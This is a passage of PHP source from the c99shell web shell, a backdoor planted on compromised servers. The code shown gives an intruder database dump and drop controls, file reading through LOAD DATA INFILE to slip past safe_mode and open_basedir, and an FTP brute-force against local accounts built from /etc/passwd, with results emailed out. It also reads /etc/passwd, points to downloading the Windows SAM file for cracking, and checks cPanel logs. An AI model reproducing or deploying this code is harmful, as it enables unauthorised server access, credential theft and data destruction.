                            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"" . $tmp . "\" size=\"" . (strlen($tmp) + strlen($tmp) % 30) . "\"><br><br>";
                            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
                            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
                            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
                            echo "</form>";
                        }
                        else
                        {
                            $diplay = true;
                            $set = array();
                            $set["sock"] = $sql_sock;
                            $set["db"] = $sql_db;
                            $dump_out = "download";
                            $set["print"] = 0;
                            $set["nl2br"] = 0;
                            $set[""] = 0;
                            $set["file"] = $dump_file;
                            $set["add_drop"] = true;
                            $set["onlytabs"] = array();
                            if (!empty($dmptbls))
                            {
                                $set["onlytabs"] = explode(";", $dmptbls);
                            }
                            $ret = mysql_dump($set);
                            if ($sql_dump_download)
                            {
                                @ob_clean();
                                header("Content-type: application/octet-stream");
                                header("Content-length: " . strlen($ret));
                                header("Content-disposition: attachment; filename=\"" . basename($sql_dump_file) . "\";");
                                echo $ret;
                                exit;
                            }
                            elseif ($sql_dump_savetofile)
                            {
                                $fp = fopen($sql_dump_file, "w");
                                if (!$fp)
                                {
                                    echo "<b>Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
                                }
                                else
                                {
                                    fwrite($fp, $ret);
                                    fclose($fp);
                                    echo "<b>Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ")</b>.";
                                }
                            }
                            else
                            {
                                echo "<b>Dump: nothing to do!</b>";
                            }
                        }
                    }
                    if ($diplay)
                    {
                        if (!empty($sql_tbl))
                        {
                            if (empty($sql_tbl_act))
                            {
                                $sql_tbl_act = "browse";
                            }
                            $count = mysql_query("SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
                            $count_row = mysql_fetch_array($count);
                            mysql_free_result($count);
                            $tbl_struct_result = mysql_query("SHOW FIELDS FROM `" . $sql_tbl . "`;");
                            $tbl_struct_fields = array();
                            while ($row = mysql_fetch_assoc($tbl_struct_result))
                            {
                                $tbl_struct_fields[] = $row;
                            }
                            if ($sql_ls > $sql_le)
                            {
                                $sql_le = $sql_ls + $perpage;
                            }
                            if (empty($sql_tbl_page))
                            {
                                $sql_tbl_page = 0;
                            }
                            if (empty($sql_tbl_ls))
                            {
                                $sql_tbl_ls = 0;
                            }
                            if (empty($sql_tbl_le))
                            {
                                $sql_tbl_le = 30;
                            }
                            $perpage = $sql_tbl_le - $sql_tbl_ls;
                            if (!is_numeric($perpage))
                            {
                                $perpage = 10;
                            }
                            $numpages = $count_row[0] / $perpage;
                            $e = explode(" ", $sql_order);
                            if (count($e) == 2)
                            {
                                if ($e[0] == "d")
                                {
                                    $asc_desc = "DESC";
                                }
                                else
                                {
                                    $asc_desc = "ASC";
                                }
                                $v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
                            }
                            else
                            {
                                $v = "";
                            }
                            $query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
                            $result = mysql_query($query) or print (mysql_smarterror());
                            echo "<hr size=\"1\" noshade><center><b>Table " . htmlspecialchars($sql_tbl) . " (" . mysql_num_fields($result) . " cols and " . $count_row[0] . " rows)</b></center>";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            if ($sql_tbl_act == "structure")
                            {
                                echo "<br><br><b>Coming sooon!</b>";
                            }
                            if ($sql_tbl_act == "insert")
                            {
                                if (!is_array($sql_tbl_insert))
                                {
                                    $sql_tbl_insert = array();
                                }
                                if (!empty($sql_tbl_insert_radio))
                                {
                                }
                                else
                                {
                                    echo "<br><br><b>Inserting row into table:</b><br>";
                                    if (!empty($sql_tbl_insert_q))
                                    {
                                        $sql_query = "SELECT * FROM `" . $sql_tbl . "`";
                                        $sql_query .= " WHERE" . $sql_tbl_insert_q;
                                        $sql_query .= " LIMIT 1;";
                                        $result = mysql_query($sql_query, $sql_sock) or print ("<br><br>" . mysql_smarterror());
                                        $values = mysql_fetch_assoc($result);
                                        mysql_free_result($result);
                                    }
                                    else
                                    {
                                        $values = array();
                                    }
                                    echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
                                    foreach ($tbl_struct_fields as $field)
                                    {
                                        $name = $field["Field"];
                                        if (empty($sql_tbl_insert_q))
                                        {
                                            $v = "";
                                        }
                                        echo "<tr><td><b>" . htmlspecialchars($name) . "</b></td><td>" . $field["Type"] . "</td><td><select name=\"sql_tbl_insert_functs[" . htmlspecialchars($name) . "]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[" . htmlspecialchars($name) . "]\" value=\"" . htmlspecialchars($values[$name]) . "\" size=50></td></tr>";
                                        $i++;
                                    }
                                    echo "</table><br>";
                                    echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";
                                    if (empty($sql_tbl_insert_q))
                                    {
                                        echo " checked";
                                    }
                                    echo "><b>Insert as new row</b>";
                                    if (!empty($sql_tbl_insert_q))
                                    {
                                        echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";
                                        echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"" . htmlspecialchars($sql_tbl_insert_q) . "\">";
                                    }
                                    echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
                                }
                            }
                            if ($sql_tbl_act == "browse")
                            {
                                $sql_tbl_ls = abs($sql_tbl_ls);
                                $sql_tbl_le = abs($sql_tbl_le);
                                echo "<hr size=\"1\" noshade>";
                                echo "<img src=\"" . $surl . "act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
                                $b = 0;
                                for ($i = 0;$i < $numpages;$i++)
                                {
                                    if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
                                    {
                                        echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_order=" . htmlspecialchars($sql_order) . "&sql_tbl_ls=" . ($i * $perpage) . "&sql_tbl_le=" . ($i * $perpage + $perpage) . "\"><u>";
                                    }
                                    echo $i;
                                    if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
                                    {
                                        echo "</u></a>";
                                    }
                                    if (($i / 30 == round($i / 30)) and ($i > 0))
                                    {
                                        echo "<br>";
                                    }
                                    else
                                    {
                                        echo "&nbsp;";
                                    }
                                }
                                if ($i == 0)
                                {
                                    echo "empty";
                                }
                                echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"sql_order\" value=\"" . htmlspecialchars($sql_order) . "\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"" . $sql_tbl_ls . "\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"" . $sql_tbl_le . "\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
                                echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
                                echo "<tr>";
                                echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
                                for ($i = 0;$i < mysql_num_fields($result);$i++)
                                {
                                    $v = mysql_field_name($result, $i);
                                    if ($e[0] == "a")
                                    {
                                        $s = "d";
                                        $m = "asc";
                                    }
                                    else
                                    {
                                        $s = "a";
                                        $m = "desc";
                                    }
                                    echo "<td>";
                                    if (empty($e[0]))
                                    {
                                        $e[0] = "a";
                                    }
                                    if ($e[1] != $v)
                                    {
                                        echo "<a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $e[0] . "%20" . $v . "\"><b>" . $v . "</b></a>";
                                    }
                                    else
                                    {
                                        echo "<b>" . $v . "</b><a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $s . "%20" . $v . "\"><img src=\"" . $surl . "act=img&img=sort_" . $m . "\" height=\"9\" width=\"14\" alt=\"" . $m . "\"></a>";
                                    }
                                    echo "</td>";
                                }
                                echo "<td><font color=\"green\"><b>Action</b></font></td>";
                                echo "</tr>";
                                while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
                                {
                                    echo "<tr>";
                                    $w = "";
                                    $i = 0;
                                    foreach ($row as $k => $v)
                                    {
                                        $name = mysql_field_name($result, $i);
                                        $w .= " `" . $name . "` = '" . addslashes($v) . "' AND";
                                        $i++;
                                    }
                                    if (count($row) > 0)
                                    {
                                        $w = substr($w, 0, strlen($w) - 3);
                                    }
                                    echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"" . $w . "\"></td>";
                                    $i = 0;
                                    foreach ($row as $k => $v)
                                    {
                                        $v = htmlspecialchars($v);
                                        if ($v == "")
                                        {
                                            $v = "<font color=\"green\">NULL</font>";
                                        }
                                        echo "<td>" . $v . "</td>";
                                        $i++;
                                    }
                                    echo "<td>";
                                    echo "<a href=\"" . $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_query=" . urlencode("DELETE FROM `" . $sql_tbl . "` WHERE" . $w . " LIMIT 1;") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
                                    echo "<a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_insert_q=" . urlencode($w) . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
                                    echo "</td>";
                                    echo "</tr>";
                                }
                                mysql_free_result($result);
                                echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
                                echo "<option value=\"\">With selected:</option>";
                                echo "<option value=\"deleterow\">Delete</option>";
                                echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
                            }
                        }
                        else
                        {
                            $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
                            if (!$result)
                            {
                                echo mysql_smarterror();
                            }
                            else
                            {
                                echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
                                $i = 0;
                                $tsize = $trows = 0;
                                while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
                                {
                                    $tsize += $row["Data_length"];
                                    $trows += $row["Rows"];
                                    $size = view_size($row["Data_length"]);
                                    echo "<tr>";
                                    echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"" . $row["Name"] . "\"></td>";
                                    echo "<td>&nbsp;<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($row["Name"]) . "\"><b>" . $row["Name"] . "</b></a>&nbsp;</td>";
                                    echo "<td>" . $row["Rows"] . "</td>";
                                    echo "<td>" . $row["Type"] . "</td>";
                                    echo "<td>" . $row["Create_time"] . "</td>";
                                    echo "<td>" . $row["Update_time"] . "</td>";
                                    echo "<td>" . $size . "</td>";
                                    echo "<td>&nbsp;<a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DELETE FROM `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DROP TABLE `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . $row["Name"] . "\"><img src=\"" . $surl . "act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
                                    echo "</tr>";
                                    $i++;
                                }
                                echo "<tr bgcolor=\"000000\">";
                                echo "<td><center><b></b></center></td>";
                                echo "<td><center><b>" . $i . " table(s)</b></center></td>";
                                echo "<td><b>" . $trows . "</b></td>";
                                echo "<td>" . $row[1] . "</td>";
                                echo "<td>" . $row[10] . "</td>";
                                echo "<td>" . $row[11] . "</td>";
                                echo "<td><b>" . view_size($tsize) . "</b></td>";
                                echo "<td></td>";
                                echo "</tr>";
                                echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
                                echo "<option value=\"\">With selected:</option>";
                                echo "<option value=\"tbldrop\">Drop</option>";
                                echo "<option value=\"tblempty\">Empty</option>";
                                echo "<option value=\"tbldump\">Dump</option>";
                                echo "<option value=\"tblcheck\">Check table</option>";
                                echo "<option value=\"tbloptimize\">Optimize table</option>";
                                echo "<option value=\"tblrepair\">Repair table</option>";
                                echo "<option value=\"tblanalyze\">Analyze table</option>";
                                echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
                                mysql_free_result($result);
                            }
                        }
                    }
                }
            }
            else
            {
                $acts = array(
                    "",
                    "newdb",
                    "serverstatus",
                    "servervars",
                    "processes",
                    "getfile"
                );
                if (in_array($sql_act, $acts))
                { ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
                }
                if (!empty($sql_act))
                {
                    echo "<hr size=\"1\" noshade>";
                    if ($sql_act == "newdb")
                    {
                        echo "<b>";
                        if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb)))
                        {
                            echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
                        }
                        else
                        {
                            echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
                        }
                    }
                    if ($sql_act == "serverstatus")
                    {
                        $result = mysql_query("SHOW STATUS", $sql_sock);
                        echo "<center><b>Server-status variables:</b><br><br>";
                        echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
                        while ($row = mysql_fetch_array($result, MYSQL_NUM))
                        {
                            echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
                        }
                        echo "</table></center>";
                        mysql_free_result($result);
                    }
                    if ($sql_act == "servervars")
                    {
                        $result = mysql_query("SHOW VARIABLES", $sql_sock);
                        echo "<center><b>Server variables:</b><br><br>";
                        echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
                        while ($row = mysql_fetch_array($result, MYSQL_NUM))
                        {
                            echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
                        }
                        echo "</table>";
                        mysql_free_result($result);
                    }
                    if ($sql_act == "processes")
                    {
                        if (!empty($kill))
                        {
                            $query = "KILL " . $kill . ";";
                            $result = mysql_query($query, $sql_sock);
                            echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>";
                        }
                        $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
                        echo "<center><b>Processes:</b><br><br>";
                        echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
                        while ($row = mysql_fetch_array($result, MYSQL_NUM))
                        {
                            echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
                        }
                        echo "</table>";
                        mysql_free_result($result);
                    }
                    if ($sql_act == "getfile")
                    {
                        $tmpdb = $sql_login . "_tmpdb";
                        $select = mysql_select_db($tmpdb);
                        if (!$select)
                        {
                            mysql_create_db($tmpdb);
                            $select = mysql_select_db($tmpdb);
                            $created = !!$select;
                        }
                        if ($select)
                        {
                            $created = false;
                            mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
                            mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
                            $result = mysql_query("SELECT * FROM tmp_file;");
                            if (!$result)
                            {
                                echo "<b>Error in reading file (permision denied)!</b>";
                            }
                            else
                            {
                                for ($i = 0;$i < mysql_num_fields($result);$i++)
                                {
                                    $name = mysql_field_name($result, $i);
                                }
                                $f = "";
                                while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
                                {
                                    $f .= join("
", $row);
                                }
                                if (empty($f))
                                {
                                    echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
                                }
                                else
                                {
                                    echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
                                }
                                mysql_free_result($result);
                                mysql_query("DROP TABLE tmp_file;");
                            }
                        }
                        mysql_drop_db($tmpdb);
                    }
                }
            }
        }
        echo "</td></tr></table>";
        if ($sql_sock)
        {
            $affected = @mysql_affected_rows($sql_sock);
            if ((!is_numeric($affected)) or ($affected < 0))
            {
                $affected = 0;
            }
            echo "<tr><td><center><b>Affected rows: " . $affected . "</center></td></tr>";
        }
        echo "</table>";
    }
    if ($act == "mkdir")
    {
        if ($mkdir != $d)
        {
            if (file_exists($mkdir))
            {
                echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: object alredy exists";
            }
            elseif (!mkdir($mkdir))
            {
                echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: access denied";
            }
            echo "<br><br>";
        }
        $act = $dspact = "ls";
    }
    if ($act == "ftpquickbrute")
    {
        echo "<b>Ftp Quick brute:</b><br>";
        if (!win)
        {
            echo "This functions not work in Windows!<br><br>";
        }
        else
        {
            function c99ftpbrutecheck($host, $port, $timeout, $login, $pass, $sh, $fqb_onlywithsh)
            {
                if ($fqb_onlywithsh)
                {
                    $true = (!in_array($sh, array(
                        "/bin/false",
                        "/sbin/nologin"
                    )));
                }
                else
                {
                    $true = true;
                }
                if ($true)
                {
                    $sock = @ftp_connect($host, $port, $timeout);
                    if (@ftp_login($sock, $login, $pass))
                    {
                        echo "<a href=\"ftp://" . $login . ":" . $pass . "@" . $host . "\" target=\"_blank\"><b>Connected to " . $host . " with login \"" . $login . "\" and password \"" . $pass . "\"</b></a>.<br>";
                        ob_flush();
                        return true;
                    }
                }
            }
            if (!empty($submit))
            {
                if (!is_numeric($fqb_lenght))
                {
                    $fqb_lenght = $nixpwdperpage;
                }
                $fp = fopen("/etc/passwd", "r");
                if (!$fp)
                {
                    echo "Can't get /etc/passwd for password-list.";
                }
                else
                {
                    if ($fqb_logging)
                    {
                        if ($fqb_logfile)
                        {
                            $fqb_logfp = fopen($fqb_logfile, "w");
                        }
                        else
                        {
                            $fqb_logfp = false;
                        }
                        $fqb_log = "FTP Quick Brute (called c99shell v. " . $shver . ") started at " . date("d.m.Y H:i:s") . "

";
                        if ($fqb_logfile)
                        {
                            fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
                        }
                    }
                    ob_flush();
                    $i = $success = 0;
                    $ftpquick_st = getmicrotime();
                    while (!feof($fp))
                    {
                        $str = explode(":", fgets($fp, 2048));
                        if (c99ftpbrutecheck("localhost", 21, 1, $str[0], $str[0], $str[6], $fqb_onlywithsh))
                        {
                            echo "<b>Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\"</b><br>";
                            $fqb_log .= "Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\", at " . date("d.m.Y H:i:s") . "
";
                            if ($fqb_logfp)
                            {
                                fseek($fqb_logfp, 0);
                                fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
                            }
                            $success++;
                            ob_flush();
                        }
                        if ($i > $fqb_lenght)
                        {
                            break;
                        }
                        $i++;
                    }
                    if ($success == 0)
                    {
                        echo "No success. connections!";
                        $fqb_log .= "No success. connections!
";
                    }
                    $ftpquick_t = round(getmicrotime() - $ftpquick_st, 4);
                    echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): " . $ftpquick_t . "<br>Total connections: " . $i . "<br>Success.: <font color=green><b>" . $success . "</b></font><br>Unsuccess.:" . ($i - $success) . "</b><br>Connects per second: " . round($i / $ftpquick_t, 2) . "<br>";
                    $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): " . $ftpquick_t . "
Total connections: " . $i . "
Success.: " . $success . "
Unsuccess.:" . ($i - $success) . "
Connects per second: " . round($i / $ftpquick_t, 2) . "
";
                    if ($fqb_logfp)
                    {
                        fseek($fqb_logfp, 0);
                        fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
                    }
                    if ($fqb_logemail)
                    {
                        @mail($fqb_logemail, "c99shell v. " . $shver . " report", $fqb_log);
                    }
                    fclose($fqb_logfp);
                }
            }
            else
            {
                $logfile = $tmpdir_logs . "c99sh_ftpquickbrute_" . date("d.m.Y_H_i_s") . ".log";
                $logfile = str_replace("//", DIRECTORY_SEPARATOR, $logfile);
                echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"" . $nixpwdperpage . "\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"" . $logfile . "\" size=\"" . (strlen($logfile) + 2 * (strlen($logfile) / 10)) . "\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"" . $log_email . "\" size=\"" . (strlen($logemail) + 2 * (strlen($logemail) / 10)) . "\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
            }
        }
    }
    if ($act == "d")
    {
        if (!is_dir($d))
        {
            echo "<center><b>Permision denied!</b></center>";
        }
        else
        {
            echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
            if (!$win)
            {
                echo "<tr><td><b>Owner/Group</b></td><td> ";
                $ow = posix_getpwuid(fileowner($d));
                $gr = posix_getgrgid(filegroup($d));
                $row[] = ($ow["name"] ? $ow["name"] : fileowner($d)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d));
            }
            echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&d=" . urlencode($d) . "\"><b>" . view_perms_color($d) . "</b></a><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d)) . "</td></tr></table><br>";
        }
    }
    if ($act == "phpinfo")
    {
        @ob_clean();
        phpinfo();
        c99shexit();
    }
    if ($act == "security")
    {
        echo "<center><b>Server security information:</b></center><b>Open base dir: " . $hopenbasedir . "</b><br>";
        if (!$win)
        {
            if ($nixpasswd)
            {
                if ($nixpasswd == 1)
                {
                    $nixpasswd = 0;
                }
                echo "<b>*nix /etc/passwd:</b><br>";
                if (!is_numeric($nixpwd_s))
                {
                    $nixpwd_s = 0;
                }
                if (!is_numeric($nixpwd_e))
                {
                    $nixpwd_e = $nixpwdperpage;
                }
                echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"" . $nixpwd_s . "\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"" . $nixpwd_e . "\">&nbsp;<input type=submit value=\"View\"></form><br>";
                $i = $nixpwd_s;
                while ($i < $nixpwd_e)
                {
                    $uid = posix_getpwuid($i);
                    if ($uid)
                    {
                        $uid["dir"] = "<a href=\"" . $surl . "act=ls&d=" . urlencode($uid["dir"]) . "\">" . $uid["dir"] . "</a>";
                        echo join(":", $uid) . "<br>";
                    }
                    $i++;
                }
            }
            else
            {
                echo "<br><a href=\"" . $surl . "act=security&nixpasswd=1&d=" . $ud . "\"><b><u>Get /etc/passwd</u></b></a><br>";
            }
        }
        else
        {
            $v = $_SERVER["WINDIR"] . "
epair\sam";
            if (file_get_contents($v))
            {
                echo "<b><font color=red>You can't crack winnt passwords(" . $v . ") </font></b><br>";
            }
            else
            {
                echo "<b><font color=green>You can crack winnt passwords. <a href=\"" . $surl . "act=f&f=sam&d=" . $_SERVER["WINDIR"] . "
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";
            }
        }
        if (file_get_contents("/etc/userdomains"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=userdomains&d=" . urlencode("/etc") . "&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";
        }
        if (file_get_contents("/var/cpanel/accounting.log"))
        {
